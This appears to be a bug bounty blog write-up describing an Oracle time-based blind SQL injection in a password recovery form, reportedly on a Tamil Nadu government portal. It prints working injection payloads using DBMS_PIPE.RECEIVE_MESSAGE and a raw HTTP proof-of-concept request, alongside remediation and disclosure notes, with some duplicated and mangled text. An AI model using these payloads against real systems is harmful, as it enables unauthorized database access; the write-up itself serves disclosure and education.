July 28, 2026
Discovering an Time-Based Blind SQL Injection in a Tamil Nadu Government Web Portal (TANGEDCO)
Hunting an Oracle Time-Based Blind SQL Injection: A Real Bug Bounty Journey

By Karthikeyan.V
3 min read
Hunting an Oracle Time-Based Blind SQL Injection: A Real Bug Bounty Journey
Introduction
Recently, while performing security testing as part of a bug bounty program, I discovered an Oracle Time-Based Blind SQL Injection vulnerability in a web application's password recovery functionality.
This write-up explains how the vulnerability was identified, how it was verified, why it is dangerous, and what developers can do to prevent similar issues.
Disclaimer:_ This article has been responsibly disclosed. And for educational purpose only_
What is Time-Based Blind SQL Injection?
Time-Based Blind SQL Injection occurs when an application does not return database errors or query results directly, but an attacker can infer whether an injected SQL statement executed successfully by measuring the server's response time.
Oracle databases provide several functions that can intentionally delay execution, making them useful for confirming SQL injection vulnerabilities.
One commonly abused function is:
DBMS_PIPE.RECEIVE_MESSAGE('test',5)DBMS_PIPE.RECEIVE_MESSAGE('test',5)If the injected query is executed successfully, the application pauses for approximately 5 seconds before responding.
Finding the Vulnerability
During testing, I analyzed the application's Forgot Password functionality.
One POST parameter accepted user-controlled input without proper sanitization.
The request structure looked similar to the following:
POST /forgotPassword.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
regcode=<user_input>&emailid=user@example.comPOST /forgotPassword.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
regcode=<user_input>&emailid=user@example.comAfter testing various payloads, I injected an Oracle timing function.
Example payload:
12345678' AND DBMS_PIPE.RECEIVE_MESSAGE('research',5) IS NOT NULL AND '1'='112345678' AND DBMS_PIPE.RECEIVE_MESSAGE('research',5) IS NOT NULL AND '1'='1Instead of returning an error, the application consistently delayed its response by approximately 5 seconds.
This behavior strongly indicated that the injected SQL statement was being executed by the backend Oracle database.
POC:
POST /rect17/forgotPassword.php HTTP/1.1
Host: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://null/rect17/forgotPassword.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://null
Connection: close
Cookie: PHPSESSID=null
Upgrade-Insecure-Requests: 1
Priority: u=0, i
®code=12345678' AND 3973=DBMS_PIPE.RECEIVE_MESSAGE('karthithehacker', 5) AND 'bug'='bug&emailid=necod73878@jobraux.com&btnSave=Submit&formsubmitted=YES
POST /rect17/forgotPassword.php HTTP/1.1
Host: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://null/rect17/forgotPassword.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://null
Connection: close
Cookie: PHPSESSID=null
Upgrade-Insecure-Requests: 1
Priority: u=0, i
®code=12345678' AND 3973=DBMS_PIPE.RECEIVE_MESSAGE('karthithehacker', 5) AND 'bug'='bug&emailid=necod73878@jobraux.com&btnSave=Submit&formsubmitted=YES
Video poc:
Verifying the Vulnerability
To eliminate the possibility of network latency or server performance issues, I repeated the test multiple times.
The results remained consistent:
PayloadResponseNormal requestImmediateSQL payload with delay~5 secondsNormal requestImmediateSQL payload with delay~5 seconds
The predictable delay confirmed that the SQL injection was genuine.
Why This Matters
Even though this was a blind SQL injection, the impact can still be severe.
Depending on database permissions, an attacker could potentially:
- Extract sensitive database information
- Enumerate tables and columns
- Retrieve user records
- Bypass application logic
- Execute additional SQL queries
- Compromise confidential business data
SQL injection continues to rank among the most critical web application vulnerabilities because it can directly affect the confidentiality, integrity, and availability of application data.
Root Cause
The vulnerability existed because user input was concatenated into SQL queries without proper validation or parameterization.
Instead of using prepared statements or parameterized queries, the application allowed attacker-controlled input to influence SQL execution.
Remediation
Developers can prevent SQL injection by following secure coding practices:
- Use parameterized queries or prepared statements.
- Never concatenate user input into SQL queries.
- Validate and sanitize all user-supplied data.
- Apply least-privilege access to database accounts.
- Implement a Web Application Firewall (WAF) as an additional layer of defense.
- Perform regular security assessments and penetration testing.
Responsible Disclosure
After confirming the vulnerability, I prepared a detailed report containing:
- Technical description
- Proof of Concept
- Reproduction steps
- SQLMap verification
- Impact assessment
- Remediation recommendations
The issue was then responsibly disclosed to the affected organization, allowing them time to investigate and remediate the vulnerability before any public discussion.
Responsible disclosure helps improve the security of the internet while protecting users and organizations.
Key Takeaways
This finding reinforces several important lessons:
- Manual testing remains essential during bug bounty hunting.
- Time-based behavior can reveal vulnerabilities even when applications hide database errors.
- Oracle-specific payloads are valuable when testing Oracle-backed applications.
- Always verify findings before reporting them.
- Responsible disclosure is just as important as discovering the vulnerability.
Every vulnerability discovered is an opportunity to make software more secure โ not just to earn a bounty, but to help build a safer digital ecosystem.
About the Author
Karthi (KarthiTheHacker) Security Researcher | Penetration Tester | Bug Bounty Hunter
๐ Website: https://karthithehacker.com
If you enjoyed this write-up, consider following me on Medium for more real-world bug bounty findings, web security research, and ethical hacking content.
Connect with me:
๐น Twitter: @karthithehacker ๐น Instagram: @karthithehacker ๐น LinkedIn: Karthikeyan V ๐น Website: karthithehacker.com ๐น GitHub: github.com/karthi-the-hacker ๐น YouTube: @karthi_the_hacker